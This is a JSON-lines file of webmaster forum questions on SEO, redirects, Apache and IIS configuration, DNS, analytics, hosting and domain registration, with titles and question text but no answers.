{"id":"21250","title":"Text doesn't fit on ONE page - This same text is too large","text":"Lets say I am describing the text in, for example, 2100 words for the same keyword. My purpose would be to have 700 words per page. Obviously I need to have 3 pages so I can divide the text with, in average, 700 words per page. The first page (where the text will begin) has doindex attribute, other two have noindex attribute. This way I can protect myself from getting visitors on the website in the middle of the text (second page) or at the end of the text (third page). So I can get visitors always where the text starts and that's why it is doindex. Obviously, since its the same text but split on 3 parts due its size, I am targeting the same keyword. All 3 URLs will have either exactly the same URL or similar. What do I have to care about so I create preventive solution in advance so I'm not going to have issue with duplication or cannibalization? What are the list of tasks I need to keep in mind? I have instinct that if I do this, it is very possible I will have duplication issue but don't want that or cannibalizaton. I already know that I should NOT use pagination but rather nofollow internal links from page1 to page2 and from page2 to page3. Anchor text of them should probably be the same - keyword which I'm targeting."}
{"id":"21708","title":"Does Google Analytics track links that use onclick=\"parent.location='Something.html' \"?","text":"I am using onclick=\"parent.location='#'\" to make a table into a link, but will Google Analytics see this as a link or will it cause mayhem in the reports?"}
{"id":"68805","title":"Problem using mod_deflate with ProxyPass","text":"Using Apache 2.0 (2.0.53) on a particular legacy system, enabling mod_deflate causes directly-served content to be gzip-encoded just fine. However, and this is my problem, content proxied from another server using ProxyPass is not getting gzip-encoded. Wireshark shows me there is no encoding header in the response and the body is in plain text. I have another similar system, also running Apache 2.0 (2.0.52), where the proxied content IS being gzipped, and I can't find any significant difference between the configuration of the two systems. Details: mod_deflate is being enabled using a file `\/etc\/httpd\/conf.d\/deflate.conf` containing: <ifModule mod_deflate.c> AddOutputFilterByType DEFLATE text\/html text\/xml text\/css text\/plain AddOutputFilterByType DEFLATE text\/javascript application\/javascript application\/x-javascript application\/json <\/ifModule> The proxying is being done within the `<VirtualHost>` section using these lines: ProxyPass \/mtserver http:\/\/localhost:8000 ProxyPassReverse \/mtserver http:\/\/localhost:8000 Can anyone point me at a possible reason for one system not compressing the proxied content?"}
{"id":"1813","title":"Form label position for best usability","text":"I'm creating a form that will ask a visitor for their `firstname`, `middle initial`, and `lastname`. I want the those text fields to be all inline, but where should I place the labels? On the left, top, or under the fields. I'm looking for the best approach from a usability standpoint."}
{"id":"39021","title":"Webmin - Setting up multiple virtual hosts - Subdomains","text":"Can someone please help me in using WEBMIN to setup virtual hosts. 1. My current domain www.MYDOMAINLOLFAKE.com currently functions. Settings are as follows - Apache - Handles the name-based server www.MYDOMAINLOLFAKE.com on all addresses Address Any Port 80 Server Name www.MYDOMAINLOLFAKE.com Document Root \/var\/www\/html BIND DNS Server - Master Zone MYDOMAINLOLFAKE.com ns1.mydomainlolfake.com IPHERE - works ns2.mydomainlolfake.com IPHERE - works mydomainlolfake.com IPHERE - works www.mydomainlolfake.com IPHERE -works mail.mydomainlolfake.com IPHERE - works ftp.mydomainlolfake.com IPHERE - works What I need - something.mydomainlolfake.com -- CANT GET THIS TO WORK What I tried - Create new virtual host Handles the name-based server something.mydomainlolfake.com on something.mydomainlolfake.com Address Any Port 81 Document Root: \/var\/www\/vhosts\/something What happens - I create the new VHOST and then ALL address try to go to that new Document root. I need different addresses to go to their respective folders. Can someone please give me better instructions on how to set that up using webmin? TLDR# How do I make a something.mydomainlolfake.com subdomain work in webmin on my CENTOS 6 web server?"}
{"id":"14885","title":"Online gift certificates: Systems to avoid fraud","text":"What good methods are there out there for avoiding fraud with electronic gift certificates (ones which are created and the information distributed electronically via website)? I'm looking to audit\/redesign an existing system, and want to get a good overview of the parts of the system that would be good to put in place to decrease fraud. A few parts that I can think of that I am interested in to start with: * Rejection criteria * Flagging criteria (e.g. if the date range between purchase and use is huge, different countries of origin, etc) * Theft indications * Prevention of oracle attacks on a gift card system (e.g. randomly trying gift cert authentications until one works) * Data to include as part of the gift certificate for later authentication. * Authentication systems for verifying that the gift certificates actually match. * etc I don't think it matters too much for the topic (unless there are libraries to check into?), but I'm running a site with a php backend."}
{"id":"14886","title":"Facebook Connect with CodeIgniter login problems","text":"I'm having a problem using Facebook Connect on my latest website. I'm running it using the CodeIgniter framework and Elliot Haughin's library (http:\/\/www.haughin.com\/code\/facebook\/). Everything is setup okay, when the user goes to login, the request is sent to Facebook okay and returns with the code (which i presume identifies the session?). However, it doesnt seem to update the library, and after doing all this still thinks that the user is not logged in. It makes me think its a bug in the library itself, but I can't see anyone else with this problem. I have tried dumping the error log from the library but it doesnt find any problems."}
{"id":"45265","title":"Is all data about a domain name provided to a TLD registry by the registrar visible on Whois?","text":"I am trying to understand more about how the domain registration process works between the registry and the registrar. My question is when a domain name is registered by a registrar such as GoDaddy, is all the information that the registrar forwards to the TLD registry about that domain name publicly available for view on Whois or is there some information that is hidden by the registry? When a domain name is purchased with the option of 'private registrations' so that the registrar hides confidential information like address details, is that information kept private by the registrar only or does it also get passed on to the registry but flagged as private information?"}
{"id":"67303","title":"How can I remove the .html extension for static webpages that are indexed so they'll still work in a WordPress site?","text":"I have a static HTML website with less than 100 pages and 99 of them are indexed in Google's search engine. I want to convert it into a WordPress website, but there are some problems I'm worried about. My HTML website pages have an `.html` extension at the end of them and they're indexed with that extension, so converting those pages (even with the same content) to a WordPress page without any extension causes my whole website to be removed from Google's search. I'm going to need to make sure that the `.html` extension is removed from URLs that already have just an `.html` extension. I want to do this using a _.htaccess_ file. I found the following code, but it doesn't work: ^(([^\/]+\/)*[^\/.]+)\\.html?$"}
{"id":"68808","title":"I would like to share how I configured my Web server for educational reasons. Should I worry that this is a security risk?","text":"I just finished setting up a server to run a python pyramid application, and while I did not find any guidance on the Internet that helped me, I feel like I could contribute one myself. I'm considering posting all of the commands that I used, in order, on my blog (with passwords removed, of course). However, this will result in me sharing my directory structure, deployment script, user list, IP tables config, and other things which occur to me could be advantageous to a hacker. It's obvious that it's better for me not to share this information, but is the security risks so great that I should worry about sharing this stuff? If so, what parts of it should I be most worried about?"}
{"id":"26959","title":"How would I tell if a prospective client website is under DDoS attack?","text":"I have a person asking me whether the DDoS Mitigation Service they're using is worth it. This is out of my expertise, but clearly at some point someone sold this service to the client. Assuming I don't have anything but a domain name, what information can I gather about whether they are indeed under attack and\/or how well the DDoS Mitigation Service is working? Assume I don't have any administrative access to the site\/server(s) in question."}
{"id":"26958","title":"How does the new iPad's (aka iPad 3) resolution play with responsive design?","text":"So \"the new iPad\" has been released with a new \"retina display\" resolution of 2048x1536 px, but the screen size is still 9.7 inches as the previous iPad... I am wondering how will CSS media queries respond to this device? How will we design a tablet version (i.e. for browser viewports <768px) if the browser reads 1536px width?"}
{"id":"26951","title":"duplicate links to subdomain hurting SEO","text":"I have a main site, http:\/\/hollywoodnose.com and http:\/\/forum.hollywoodnose.com. What I was doing was showing the 8 most recent forum posts in the right column of http:\/\/hollywoodnose.com. In my Google Webmasters account for the forum subdomain it shows 300+ incoming links fromt the main domain. Obviously it sees every page as in incoming link. Since then my traffic is literally cut in half. I've removed the recent forum posts fromt the main domain and guess I can only wait now. This seems really odd to me that this would happen. I still have a link in the nav bar of the main domain to the forum and one in the footer. Will the same thing (duplicate links) happen or will I have to remove these two links or possibly set them to rel=\"nofollow\"? Would that make it seem like spam? How do I handle this situation and has anyone ever dealt with something like this? Thank you."}
{"id":"37681","title":"Is it better to have multiple domains for cities or one single TLD?","text":"I make websites for small businesses, and for some reason business owners love to have several domains with the same website but the TLD containing the city name. For example: 1. smallbizname.com 2. clevelandsmallbizname.com 3. columbussmallbizname.com 4. cincinnatismallbizname.com I've seen questions about localization per country aspects, but this is a much smaller scale, so I don't think the same rules apply. The problem I have is the companies never want to write separate content per domain, just have the same website hosted several times at each domain. I feel this probably hurts SEO for two reasons: 1. Traffic gets scattered throughout domains, could be boosting just one domain. 2. Duplicate content penalty because the content is identical. My question boils down to this: should I redirect all the city domains to the main business name domain, or does having these separate sites help to rank better per city? If they are redirected, how does Google rank the redirects?"}
{"id":"1978","title":"Why should I use a Content Management System?","text":"I've heard a lot about cms's like drupal, joomla, and wordpress. I've always hand-coded most of my PHP and HTML and done fine. What are the pros and cons of using a cms?"}
{"id":"29599","title":"How do I properly point sub.domain1.com to sub.domain2.com?","text":"I'm trying to point sub.domain1.com to sub.domain2.com. They are both hosted on _different_ servers. I've tried changing the CNAME, but that is giving me a \"You don't have permission.\" error when I go to sub.domain1.com in my browser. Currently, I'm url masking sub.domain1.com to sub.domain2.com, but I don't want to do this for various reasons. I would like sub.domain1.com url to remain in the address bar. This is for my mobile site, just an fyi."}
{"id":"1607","title":"How to serve static content without https in a secure site?","text":"I want to serve static content from my site but my site is https-only. My static http server only serve http content (non https) but many IE users are complaining about being unable to log into. What do I need to do? Should I add https to my static-content http server?"}
{"id":"53149","title":"Why Webmaster Tools shows different data to different users?","text":"We have a problem between marketing and development department in our StartUp: Google Webmaster Tools is showing different data to different users which are logged in. Why is this happening and how we can prevent this in the future? For example, one of the team members sees 6 messages in Google Webmaster Tools while other sees only 2 of them."}
{"id":"13275","title":"Why is Joomla based website that was copied off of live server into localhost not showing pictures and throwing 404 error?","text":"I have copied Joomla based website via FTP onto my machine and I am trying to make it run on my localhost which is provided by the latest version of XAMPP. I have exported and imported the DB with no problems. I have placed all the files and folders into HTDOCS folder but when I go to localhost example site all I get is the text that is on the front page but no pictures and it displays 404 Error. Do I need to make changes to .htaccess? If so, can some one point me to the right direction? Thanks"}
{"id":"45088","title":"What is the difference between Visitor and Unique Visitor?","text":"As the title says; What is the difference between Visitor and Unique Visitor? A visitor is a user with a cookie for one browser, as long as that cookie is valid, isn't that unique enough? If not, how is unique visitor calculated?"}
{"id":"65372","title":"How to detect search engines on Cloudfront?","text":"Is there a way to \"ask\" google to add a query string paramater to the url when crawling my website? (maybe in robots.txt?) so that when it crawls example.com, it would add something like ?iam=google . Because we use Cloudfront to serve our website, we need a way to detect search engines on the cloudfront and forward them to origin server."}
{"id":"59542","title":"Should paginated sites be included in sitemap?","text":"My website is ad listing for boats, boats' engines, boat rentals, etc (`www.mynautics.com`). There are ads listed on multiple pages. I have finished (not jet seen on link above) pagination: * added `prev` * added `next` On some pages (sorting, etc.) I also added canonical relation. Now I want to add pages to sitemap generator and I am not sure if I should add all URLs for example: * `example.com\/list\/page\/1` * `example.com\/list\/page\/2` * `example.com\/list\/page\/3` * `example.com\/list\/page\/4` Or should I just add `example.com\/list`?"}
{"id":"43257","title":"Is better for SEO to have text on the page versus in the title of the a tag?","text":"We have a page on our site with a listing of product categories. All the links point to other pages on our site. Currently there's no text associated with the links other then the linked text itself which is just the name of each category or subcategory. We're thinking of adding some descriptive text for each link. From a usability standpoint, I'd prefer _not_ having this text appear on the page itself because all our users will pretty much already know what each category is without needing any descriptive text. From a usability perspective it would be better if it appeared in the title since then it doesn't clutter up the page and only shows up when they mouse over a particular link. But from an SEO perspective, would it matter if the text appears on the page, below each link, or if I place the text in the title attribute of the a tag? edit: I mean the title attribute of the tag, not the title of the page itself."}
{"id":"13278","title":"301 Redirect are these URLs equivalent?","text":"I want to redirect an entire duplicate directory to the same files in the directory above the dup_folder. Redirect Code in .htaccess: Redirect 301 \/dup_folder\/ http:\/\/www.example.biz\/ It redirects to: http:\/\/www.example.biz\/inspection11.htm?q=dup_folder\/inspection11.htm But I want it to redirect to: http:\/\/www.example.biz\/inspection11.htm Is there something I can add to .htaccess to Rewrite the URL to how I want, or are the two above URLs seen as the exact same URL to a search engine?"}
{"id":"44359","title":"Can I change the type of elements in the microdata format?","text":"With regard to microdata I was wondering if the elements must be exactly like the examples (http:\/\/support.google.com\/webmasters\/bin\/answer.py?hl=en&answer=176035) or that Google\/Bing look if the itemprop attributes occur on certain elements. e.g. could I replace this: <div itemprop=\"name\">some text<\/div> with this: <span itemprop=\"name\">some text<\/span> Without affecting its functionality?"}
{"id":"58174","title":"Move subdir to subdomain for separate SERP listings?","text":"I market a conference and we have two very distinct customers. Attendees and Exhibitors\/Sponsors. Each customer has a different sales funnel. I thought it'd be best to separate these into different web properties by dropping the exhibitor\/sponsorship sales to a separate subdomain(sales.domain.com) to get two separate SERP listings (Attendee oriented, B2B oriented). I setup r301s and links from navi, but no SEO juice is being passed on. Did I completely messup in my thinking of being able to get two distinct search results?"}
{"id":"2848","title":"Safe way to send thousands of promotional emails ","text":"My new partner has an email list with over 1 Million email addresses for targeted traffic (no spam... only genuine subscribers from his last startup ) But now I have a problem.. how can I sent an email to all those email addresses ? I can't use my ISP SMTP mailer, they will block me immediately for bulk mailing. I thought of a way to send emails slowly . Like dividing them in sets of few thousands and sending to each set daily . Will it be fine solution ?"}
{"id":"64650","title":"Why does 301 redirect work for http but not for https?","text":"Through my domain registrar I have set up a domain, essayme.co.uk, to automatically forward to https:\/\/google.com. If I go to http:\/\/essayme.co.uk it works as expected and redirects me to https:\/\/google.com. $curl -i http:\/\/essayme.co.uk HTTP\/1.1 301 Moved Permanently Cache-Control: max-age=900 Content-Type: text\/html Location: https:\/\/google.com Server: Microsoft-IIS\/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 07 Jun 2014 11:14:16 GMT Content-Length: 0 Age: 0 Connection: keep-alive However, if I go to https:\/\/essayme.co.uk it just freezes and times out. $curl -i https:\/\/essayme.co.uk curl: (7) Failed connect to essayme.co.uk:443; Operation timed out What is happening in the second case? (and, if possible, how can I get the redirect to work for https?) * * * Problem background\/clarification: I don't have an SSL certificate for the essayme.co.uk domain above, but I do for my live domain (let's call it mywebsite.com), and I was seeing the exact same problem on this domain (hence why I'm trying to debug the problem). Unfortunately I can't experiment with the live domain (as it's live) and I would like to avoid having to buy a second certificate for essayme.co.uk just for debugging (unless absolutely necessary). The problem I was seeing: * my live domain, mywebsite.com (not its real name), has a valid SSL certificate. * Visiting https:\/\/www.mywebsite.com displayed the webpage as expected. * I had set up forwarding (like in the question above) from the naked domain (mywebsite.com) to https:\/\/www.mywebsite.com) * Visiting http:\/\/mywebsite.com redirected to https:\/\/www.mywebsite.com as expected. * However, visiting https:\/\/mywebsite.com would freeze and time out (as in the question above). I also tried forwarding it to http:\/\/www.otherwebsite.com as an experiment (i.e. forwarding to another site that does not use SSL), but the result was the same: * Visiting http:\/\/mywebsite.com redirected to http:\/\/www.otherwebsite.com as expected. * Visiting https:\/\/mywebsite.com would freeze and time out again. So I set up essayme.co.uk as an experiment to try and understand why it doesn't work."}
{"id":"44350","title":"How do I make dotCMS pick up the preferred language from the browser's settings?","text":"I have a bilingual dotCMS site. Switching between languages with the pulldown at the top of the page works great, but the default language is always English (or whatever else I configure). I'd much rather have the user be presented with the language specified by his browser (which of course he can then later change with the pulldown). It seems that dotCMS does not do this automatically. Can I enable this by some setting or plugin ?"}
{"id":"2844","title":"Need suggestion for a bulletin board engine, Java based, JSP\/JSF, and free","text":"Could you please advise me of a bulletin board engine that is based in Java? And for its scripting language, either JSP or JSF. I'd also prefer it to use Spring, Hibernate and\/or other frameworks. It would be better, still, if it's free."}
{"id":"44352","title":"How do I select last event value of the day in Google Analytic","text":"I'm trying to select last event value of the day in Google Analytics. The problem is that Event Value column shows the sum of all events of the specific date, but I would like to see only the last one. How do I select last event value only of the day in Google Analytic?"}
{"id":"3635","title":"problem with google search in link:article-stack.com","text":"> **Possible Duplicate:** > Why google is not showing links to my site in result? If I google `link:article-stack.com`, it shows 4 interlinks in result. 1. If it shows interlinks it should show > 250 links. But it is showing 4 only. 2. Google webmaster is saying 8 external links. But google search is not showing it 3. Previously it was showing 6 links a) 1 from stackoverflow b) 1 from wordpress c) 4 from my own site then it came to 5. Now it is 4 only. While there are a) 3-4 links on stackoverflow b) 3-4 links on stackexchange c) 3 links on wordpress d) 4-5 links on sulekha I already had checked that all external pages, which are pointing to my site, are indexed and cached by google. Am i searching in wrong way?"}
{"id":"3321","title":"Redirecting domain from one web host to another","text":"First time I've ever had to redirect a domain from one web host to another. I'm not moving the domain registration as the domain is due to be renewed soon so don't want to risk any complications. I've followed a detailed guide (http:\/\/www.thesitewizard.com\/domain\/point- domain-name-website.shtml) but is it just the NS addresses I need to change with that of the new web host? Assuming the above is correct, would it be normal for this to take longer than 3 days to replicate globally? Thanks"}
{"id":"5474","title":"What is the idea behind occupying domains?","text":"I see that most domain names that contain some nice words like: www.pixelmania.com , www.musicbox.com and so on... are registered but look just auto-populated with some random data. Why they do this ? Is it for me to pay extra to get that domain? Is it for advertising purposes (all of them have insane amounts of ads on them)? Or what ... ?"}
{"id":"58300","title":"Can calling mixpanel.track cause reattribution of conversions in Mixpanel funnels?","text":"I am currently using MixPanel to A\/B test which of two different landing page images converts better. At the beginning of each hit to the page, I do mixpanel.track('Main', {illustration_ab : '{{illustration_ab}}'}); Here illustration_ab contains the name of the image that was shown to the user. Then after gathering data, later on I can go look at the funnels and split by this variable to see which has higher conversion rate. I just started wondering though, if someone converts but then comes back to the page later and gets assigned another illustration_ab, will that get the user's past conversion reattributed to fall under the different image? "}
{"id":"58308","title":"SEO Tips for new Website","text":"I am no expert in SEO but I do know how it works and stuff. What I would like to know is what steps do YOU guys take when starting a new SEO project. Like from beginning to end. Also I would like to rent\/buy links. Can someone please point me to the right direction on doing this? Thanks in advance."}
{"id":"14261","title":"Transferring a domain difficulty","text":"I registered a domain using Google apps. The process was simple and only cost $10 and the domain was registered automatically by Google through godaddy. Now I need to transfer the domain to its new owner and the new owner's tech support team are having difficulty getting it transferred over. They have asked me to do the following: Unlock the domain for transfer Remove the private registration Provide a transfer code The private registration is through domains by proxy. is there some way to do this easily? Any advice appreciated."}
{"id":"54352","title":"WebPermission problem with GoDaddy hosting","text":"I purchased a Windows web host from `godaddy.com`. When I want to use an email verification component (that wants to connect to the Internet) on my host, I get an error related to Web Permission denied (ASP.NET 4). I searched for this error and found that GoDaddy has changed web permission in ASP.NET and restricts some features. When I want to use components that require these web permission on my site, I get error 500 (Internal Server Error). Can I give permission to an assembly only or solve my problem in another way? I asked this question to the Godaddy support team, but I didn't get any answers."}
{"id":"14263","title":"jQuery lightbox-like message box","text":"Is there - as far as you know - a lighbox-like jQuery plugin that can display text in a lighbox fashion? I would need to display information and error messages in a message box which should behave just as a lightbox (i.e. shadowing background)."}
{"id":"20077","title":"\"Restricted by Robots.txt\" in Google Webmaster Tools when no robots.txt exists","text":"In Google Webmaster Tools, I have 832 errors in the sitemap with the error being \"URL restricted by robots.txt\". I don't have a robots.txt file, and the robots meta tag equals \"index, follow\". I _did_ have a robots.txt file, and the date it existed could well correspond with the date of the crawl errors in Google Webmaster Tools. However, the dashboard shows these crawl errors remain, \"updated Sept 23, 2011\" (yesterday). All of the crawl errors are about 3 weeks old, which is probably before I deleted robots.txt. Is the fact the crawl errors remain as of yesterday indicating Google has not recrawled the site? Google has tried to download \/robots.txt again, as recently as 4 hours ago, and has not found it, and will not of for weeks. Do I need to ping Google to crawl the site again?"}
{"id":"20072","title":"pre-gzipping files and serving to clients possible?","text":"I understand that we can do some settings in .htaccess to allow gzipping on the fly. However is there anyway we could do it \"not-on-the-fly\"? I have a static file that I wish to serve gzipped, but I do not wish to do the gzipping on the fly (in other words pre-gzipped). How would we go about doing it?"}
{"id":"56565","title":"SEO best practices - how to move to a new domain and new site keeping the old SEO 'power'?","text":"I have a website (a photography blog). I just bought a new domain with a better name (my real name). And I have bought a new template and there is a completely new structure. I know Google says that it's better to have 1 good site instead than 2 average sites. Now I don't know what to do. There are similar things I can do but I am not sure which one is the best: 1) Redirect 301 the old domain to the new one. 2) Keep the old site and redirect 301 each page (eg. old homepage to new homepage, old article about XYZ to new article about XYZ, etc). 3) Keep both sites. Focus only on the new site. Add a backlink in every page of the old site pointing to the respective page on the new site. 4) [...if you know about other better ways, feel free to let me know...] What option do you think is the best for SEO and keep\/give the good SERP for the new site? If you think 2 or 3 is the best way, then, just `.htaccess` 301 redirects\/rewrites are a good option, or better if I do also some edit in GWT?"}
{"id":"321","title":"Effective methods of reducing bandwidth (and thus page load times)?","text":"What are the most effective methods when it comes to reducing the amount of bandwidth a website needs to render a page? Aggressive caching? Minifying JS\/CSS? Gzip? CMS? Sprites?"}
{"id":"12045","title":"Should I block indexing of my mobile site?","text":"I notice that Yahoo and Bing have started indexing the mobile version of my website, which is located at \/mobile from the root. All of the mobile content is just a reduced layout version of the real site. Is it going to negatively affect my SEO if the crawlers are seeing two locations that essentially have the same content?"}
{"id":"34881","title":"Is Cloudflare unzipping gzipped dynamic content?","text":"I'm using Cloudflare for a small website that is frequently accessed from mobile phones where bandwidth usage is crucial. I used to gzip every php response and this reduced my bandwidth usage, however, since I'm using Cloudflare, dynamic content going trough Cloudflare isn't gzipped anymore. Is this a feature or bug?"}
{"id":"30506","title":"Can the blog width be dynamic on Blogger?","text":"I see that Blogger will let you set the blog width under Overview-> Template Designer->Adjust Widths. However, this seems to be a fixe width - is there an easy way to set a max and a min width?"}
{"id":"18164","title":"How does this stackexchange form saved the work, I mean keep an auto save function, to retrieve loss of work","text":"How does this stackexchange form saved the work, I mean keep an auto save function, to retrieve loss of work, in case the user's browser crashes."}
{"id":"18163","title":"Need database with some country specific data like schools, medical centers etc","text":"Hi is there some database with official information about medical centers, schools, POI's and they'r geo coordinates for all countries in the world? It coul'd be not for free too, but I need the GEO coordinates as well, because I need to connect them to my products! Thanks Nik"}
{"id":"18160","title":"Google Webmaster tools \"Time spent downloading a page\"","text":"In Google Webmaster Tools -> Diagnostics -> Crawl Stats, there is a chart **Time spent downloading a page (in milliseconds)**. What is that chart measuring? Is it the time to fetch the HTML text only, or does it include the time to fetch other files included in the head section of the HTML text, or maybe it's the overall time to load the whole page including embedded widgets and ads? I can't find any clues in the Google Help."}
{"id":"14468","title":"IIS website resolve to IP","text":"IIS newb. In IIS How do I get my website to resolve to an IP address as well as it's associated domain name? It currently resolves through the domain but I also need to able to view it via the IP."}
{"id":"5519","title":"Know a good place to purchase seed data of storenames, addresses, and phone numbers?","text":"I just build a new web app, and I am looking for data to seed it with. Anyone know any good seed data retailers? Or am I missing something and there is a way to do this for free. I am entirely open to scraping, and have built a couple scrapers I enjoyed."}
{"id":"43493","title":"GWT: Generate more complete crawl error report","text":"I'm a developer in charge of managing Webmasters and related issues (including correcting crawl errors) for dozens (hundreds, maybe?) of active sites and as part of my duties I create a report of every discrepancy, including all pages generating a 404 and all pages that link to those pages. Currently within Webmaster Tools I'm able to download a csv file of all pages with a 404 response, but I'm then having to manually click on every single one of those links and copy the \"linked from\" field to paste into my spreadsheet. This is extremely tedious and seems unnecessary; I would expect the ability to download all that data at once. I'm ultimately looking for the end result of one csv file that has every url with a 404, but also has every url that links to each one of them. Am I overlooking this functionality somewhere or does anyone have a good solution? > _**Edit 1 (2\/11\/2013):_** **Example of what the csv output looks like now:** URL,Response Code,News Error,Detected,Category http:\/\/www.abcdef.com\/123.php,404,,11\/12\/13,Not found http:\/\/www.abcdef.com\/456.php,404,,11\/12\/13,Not found Which is great, but let's say 123.php has 5 pages that link to it. Now I have to duplicate that row in my spreadsheet 4 more times, then go into Webmasters, get all the url's that link to the page, and add that data to my spreadsheet. **The output I would prefer:** URL,Response Code,Linked From,News Error,Detected,Category http:\/\/www.abcdef.com\/123.php,404,http:\/\/www.ghijkl.com\/naughtypage1.php,,11\/12\/13,Not found http:\/\/www.abcdef.com\/123.php,404,http:\/\/www.ghijkl.com\/naughtypage2.php,,11\/12\/13,Not found http:\/\/www.abcdef.com\/123.php,404,http:\/\/www.ghijkl.com\/naughtypage3.php,,11\/12\/13,Not found http:\/\/www.abcdef.com\/456.php,404,http:\/\/www.ghijkl.com\/naughtypage1.php,,11\/12\/13,Not found http:\/\/www.abcdef.com\/456.php,404,http:\/\/www.ghijkl.com\/naughtypage2.php,,11\/12\/13,Not found http:\/\/www.abcdef.com\/456.php,404,http:\/\/www.ghijkl.com\/naughtypage3.php,,11\/12\/13,Not found Note the (hypothetical) addition of a \"Linked From\" column, as well as the fact there are only 2 unique URL's now (like before) but all of the \"Linked To\" pages are shown in one report. > _**Edit 2 (2\/12\/2013):_** To clarify, my question is less about detecting and correcting 404's, but more about generating a report of what Google has listed as errors. Oftentimes, these errors aren't even valid anymore but I still need documentation to show that Google detected a problem and that problem is now fixed. Many of the \"linked from\" url's I find are actually outdated, cached resources. For example, I'll frequently see that the linked-from url is the sitemap, which is actually an old sitemap cached by Google that points to an old page. Neither the sitemap or old page exist, but they still appear in my crawl error reports because they are cached resources."}
{"id":"38280","title":"Do I need fail over for an lightly used internal web application?","text":"I received an email from my web hosting provider where I have 2 dedicated servers saying that from now on I have to pay for my IP fail over addresses. The server we have hosts a tool used internally by our company. Traffic to it is quite low. No more than 3 people will use it at the same time. If something happens we can wait a day to have the tool up and running again. Is it worth having these fail-over addresses?"}
{"id":"34080","title":"Cheap Bulk Domain Registration","text":"I have 6-7 domain names that I have thought of and I'm planning to buy it in bulk so that I can save. Or am I wrong on this? In my case, since its my first time to this hosting\/domain registration, I only knew of GoDaddy with regards to domain registration. Questions: 1. Will I lose out if I chose a cheap domain registrar compared to one that's popular? 2. For a newbie like me, what companies can you recommend for me to register domain names in bulk for cheap or affordable price? 3. I notice that some prices are higher because they offer support and customer service? Aren't those servers not reliable at all? 4. I've heard of some domain registrars that they're increasing their prices every renewal? Is that just natural in a business sense for these domain registrars? Before posting this, I've been reading about NameCheap.com, and I'm considering registering for them unless you have other good choices to give me. I'll appreciate every suggestion or advice you can give."}
{"id":"34085","title":"Domain Name Expired, Will My Backorder Work?","text":"I'm interested in a domain name that expired August 9, 2012 and backordered it a few months ago. When I check the status of the domain name, it is listed as \"autoRenewPeriod\". It has a new expiration date of August 9, 2013, but a Google search indicates that \"autoRenewPeriod\" means the registrar automatically renewed the domain but has not received payment yet. Does anyone have experience with this? How long will it stay in \"autoRenewPeriod\" before being released by the registrar? Do I have a good chance of grabbing the domain name?"}
{"id":"28436","title":"Download images and other documents from external websites","text":"We're running a website which enables users to download documents about our company, such as: -wallpapers with the company logo. -company logos in various flavours. -media kits in pdf format. Since these files are quite big in size (some reach 1MB), we no longer want them to be downloaded from our website directly as it's consuming our bandwidth. Accordingly we've been looking into document sharing services. For instance we found Scribd which could allow us to share `pdf` files, but not our `wallpapers` and `logos` which are in `png` format. **Is there a free service we can use for our users to reliably download any type of files we want to host?** (ideally on a service which allows users to easily browse through our files)."}
{"id":"24850","title":"HTTP-to-SMS gateway software","text":"> **Possible Duplicate:** > How to add SMS text messaging functionality to my website? I want to send SMS via PHP or ASP API and want to process the incoming SMS; suggest me a good HTTP-to-SMS gateway."}
{"id":"33607","title":"How to send messages?","text":"> **Possible Duplicate:** > How to add SMS text messaging functionality to my website? I am building a online SMS service that can send messages to mobile phones. I want to send messages like google. How is this done? Any programming language is welcomed. I am using Apache server and mysql as database management system."}
{"id":"29227","title":"Installing python packages on shared hosting?","text":"I will be hosting a Django application on hostgator.com and was wondering how can I install django apps and python packages without using pip, since I won't have access to the root account."}
{"id":"530","title":"How can I neatly embed Flash in a page in a way that is cross-browser compatible?","text":"When I receive Flash objects from my designer, it comes with an example HTML page which includes both `<object>` tags and `<embed>` tags as well as a whole heap of JavaScript. If I copy and paste this code in to my webpage, it works, but the code looks a mess (and there is so much of it!). If I remove the extra code and try either just `<embed>` or `<object>` on their own, it works in some browsers, but not others. Is there a neat, minimal method that works in all the major browsers?"}
{"id":"67764","title":"Should I use IIS or my DNS provider to redirect my naked domain to its www version?","text":"How do I get the naked domain for my site that is typed into a browser (`example.com`) to automatically redirect to `www.mywebsite.com`. Would this be done on the internal IIS web server or through the registration service DNS settings? I use `Register.com` and I tried asking their technical support, but they did not answer my question with a usable solution."}
{"id":"52630","title":"Google Analytics Request URI to Event advanced filter","text":"I have a query string attached to a Request URI. Whilst I can see this data within the pages report and it works, I was thinking about setting up an advanced filter to convert the request URI to an Event, with the hope this would clean up my pages report and sit this query with related events in my data. I can see in advanced filters that this is possible, but seems limited to specifying a single event area, so Cat, action or Label, not all 3. Does any one know how I could set up an advanced filter to find any URIs that contain a specific query string, say example below. www.example.com?querystring=123 and convert this into an event, where I can set the Cat, action and label."}
{"id":"47654","title":"How to point search engines to another subpage?","text":"I have a webpage concerning a subject, let's say buttons to keep it simple. It is the foremost web page on this topic for my language and region: searching for 'button' in my language will always display my webpage in the top stop (after the paid adds). However, since my language is grammatically more complex than English, the word can be written in different forms & cases. Searching via Google using one particular way of writing 'button' will display my forum in the top spot instead of the landing page. Then my competitors are listed as following hits, but not my landing page. This is not ideal for me because the landing page is designed to be friendly to new users and offers far more useful information than the forum. In fact, the forum is mostly there for the loyal and hardcore users who already know where to find it while for new users it is way too specialized. What would be a good course of action to correct this problem? I could block search bots from indexing the forum - attempting to guess Google's logic they are possibly trying to give several possible websites for a given query and then select the most appropriate subpage to 'represent' that web app, thus removing the forum could make Google pick the landing page instead (or a number of other subpages, really, anything but the forum). But of course I'm afraid of simply losing my search ranking without gaining anything. A link of type canonical isn't the tool to use, either, because the landing page and forum's content definitely isn't the same. A link with `rel='home'` is another option, though honestly it doesn't make sense that it would affect search results. Perhaps moving the forum to its own subdomain, e.g. `forum.buttons.com` instead of `buttons.com\/forum` would help?"}
{"id":"23674","title":"How can I host a large number of Wordpress sites that perform well and are easy to maintain?","text":"My company a large number of small Wordpress sites. Currently we have about 10, but that number will eventually grow into the range of 50-70. We currently have a Linode for all of our sites, but it is starting to get unwieldy installing Wordpress and configuring it for every new site. Anyone have any recommendations for hosting lots and lots of Wordpress sites in as simple a way as possible? Preferably we'd like the performance of a Linode with the ease of a shared host with a one-click install."}
{"id":"47653","title":"What can cause ncftpget to create load on server?","text":"When I'm transferring big files between two servers with ncftpget I'm experiencing very high load on the receiving server. What can cause this?"}
